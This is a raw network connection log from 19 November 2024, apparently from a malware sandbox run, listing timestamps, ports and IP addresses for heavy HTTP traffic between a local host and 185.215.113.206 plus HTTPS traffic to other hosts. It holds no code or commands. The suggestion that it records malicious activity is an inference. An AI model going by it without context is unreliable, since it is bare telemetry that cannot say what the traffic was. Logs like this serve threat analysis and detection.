Nov 19, 2024 18:00:46.087279081 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.096962929 CET	443	49799	23.200.88.15	192.168.2.8
Nov 19, 2024 18:00:46.097224951 CET	49799	443	192.168.2.8	23.200.88.15
Nov 19, 2024 18:00:46.097242117 CET	443	49799	23.200.88.15	192.168.2.8
Nov 19, 2024 18:00:46.097637892 CET	443	49799	23.200.88.15	192.168.2.8
Nov 19, 2024 18:00:46.098581076 CET	49799	443	192.168.2.8	23.200.88.15
Nov 19, 2024 18:00:46.098681927 CET	443	49799	23.200.88.15	192.168.2.8
Nov 19, 2024 18:00:46.099422932 CET	443	49800	23.200.88.15	192.168.2.8
Nov 19, 2024 18:00:46.099616051 CET	49800	443	192.168.2.8	23.200.88.15
Nov 19, 2024 18:00:46.099634886 CET	443	49800	23.200.88.15	192.168.2.8
Nov 19, 2024 18:00:46.100717068 CET	443	49800	23.200.88.15	192.168.2.8
Nov 19, 2024 18:00:46.100779057 CET	49800	443	192.168.2.8	23.200.88.15
Nov 19, 2024 18:00:46.101084948 CET	49800	443	192.168.2.8	23.200.88.15
Nov 19, 2024 18:00:46.101154089 CET	443	49800	23.200.88.15	192.168.2.8
Nov 19, 2024 18:00:46.152854919 CET	443	49798	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.153105021 CET	49798	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.153116941 CET	443	49798	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.153568983 CET	443	49795	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.154352903 CET	49795	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.154366016 CET	443	49795	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.154546976 CET	443	49798	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.154752016 CET	49798	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.155397892 CET	443	49795	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.155457973 CET	49795	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.155489922 CET	49798	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.155556917 CET	443	49798	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.155670881 CET	49798	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.156626940 CET	49795	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.156678915 CET	443	49795	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.156752110 CET	49795	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.160551071 CET	443	49796	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.161001921 CET	49796	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.161010027 CET	443	49796	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.162487030 CET	443	49796	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.162607908 CET	49796	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.162950993 CET	49796	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.163043976 CET	443	49796	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.163330078 CET	49796	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.164613962 CET	443	49797	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.164855003 CET	49797	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.164875031 CET	443	49797	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.166327953 CET	443	49797	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.166392088 CET	49797	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.166728973 CET	49797	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.166817904 CET	443	49797	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.166851044 CET	49797	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.168704987 CET	443	49794	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.168899059 CET	49794	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.168925047 CET	443	49794	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.169318914 CET	443	49794	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.169718981 CET	49794	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.169776917 CET	443	49794	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.171287060 CET	49794	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.175242901 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175255060 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175271034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175281048 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175291061 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175301075 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175318956 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175375938 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175379038 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175385952 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175395012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175403118 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175410986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175412893 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175424099 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175436020 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175445080 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175477028 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175502062 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175513029 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175522089 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175535917 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175549030 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175549984 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175563097 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175575018 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175580978 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175585032 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175602913 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175621986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175756931 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175765991 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175775051 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175784111 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175793886 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175801992 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175802946 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175813913 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175825119 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175829887 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175854921 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175872087 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175877094 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175882101 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175892115 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175900936 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175915003 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175930023 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175946951 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.175946951 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.175975084 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176012039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176021099 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176053047 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176054001 CET	49799	443	192.168.2.8	23.200.88.15
Nov 19, 2024 18:00:46.176078081 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176143885 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176153898 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176163912 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176178932 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176186085 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176189899 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176199913 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176211119 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176215887 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176225901 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176235914 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176240921 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176270962 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176284075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176295042 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176305056 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176314116 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176323891 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176345110 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176368952 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176388025 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176398039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176407099 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176417112 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176431894 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176446915 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176462889 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176472902 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176482916 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176507950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176511049 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176518917 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176526070 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176529884 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176558018 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176570892 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176611900 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176621914 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176630974 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176641941 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176651955 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176652908 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176677942 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176702023 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176707983 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176717997 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176727057 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176734924 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176743984 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176748037 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176774025 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176798105 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176805019 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176819086 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176829100 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176837921 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176842928 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176847935 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176857948 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176857948 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176867962 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176876068 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176883936 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176893950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176903009 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176906109 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176913977 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176924944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176929951 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176934004 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176964998 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176981926 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.176990986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.176994085 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177004099 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177026033 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177045107 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177107096 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177118063 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177128077 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177143097 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177155018 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177155972 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177170038 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177170992 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177181959 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177191019 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177203894 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177203894 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177213907 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177225113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177229881 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177252054 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177252054 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177263021 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177270889 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177273989 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177295923 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177323103 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177350998 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177361012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177371025 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177381039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177396059 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177409887 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177465916 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177475929 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177491903 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177501917 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177510977 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177512884 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177522898 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177531004 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177532911 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177558899 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177572012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177582979 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177583933 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177593946 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177603960 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177611113 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177614927 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177618980 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177649975 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177650928 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177676916 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177700043 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177753925 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177762985 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177773952 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177783966 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177793980 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177797079 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177803993 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177826881 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177840948 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.177892923 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177903891 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.177942991 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.190826893 CET	443	49793	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:46.191786051 CET	49793	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:46.191809893 CET	443	49793	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:46.193007946 CET	49793	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:46.193007946 CET	49793	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:46.193023920 CET	443	49793	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:46.193038940 CET	443	49793	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:46.203322887 CET	443	49798	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.203335047 CET	443	49795	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.211322069 CET	443	49796	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.211323023 CET	443	49797	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.215322018 CET	443	49794	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.253699064 CET	443	49798	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.253798008 CET	49798	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.253814936 CET	443	49798	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.254152060 CET	443	49798	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.254596949 CET	49798	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.266045094 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266067028 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266077995 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266088009 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266098022 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266115904 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266124964 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266127110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266136885 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266148090 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266158104 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266161919 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266192913 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266202927 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266211033 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266211987 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266243935 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266247034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266257048 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266273975 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266282082 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266313076 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266472101 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266480923 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266490936 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266519070 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266535997 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266536951 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266547918 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266557932 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266573906 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266583920 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266588926 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266593933 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266604900 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266614914 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266621113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266632080 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266633987 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266640902 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266650915 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266653061 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266661882 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266681910 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266683102 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266726971 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266726971 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266765118 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266802073 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266817093 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266829967 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266870022 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266910076 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266918898 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266928911 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266938925 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266948938 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.266949892 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.266973972 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267000914 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267016888 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267026901 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267035961 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267054081 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267065048 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267066956 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267074108 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267082930 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267091990 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267092943 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267102957 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267113924 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267136097 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267147064 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267155886 CET	49761	80	192.168.2.8	185.215.113.206
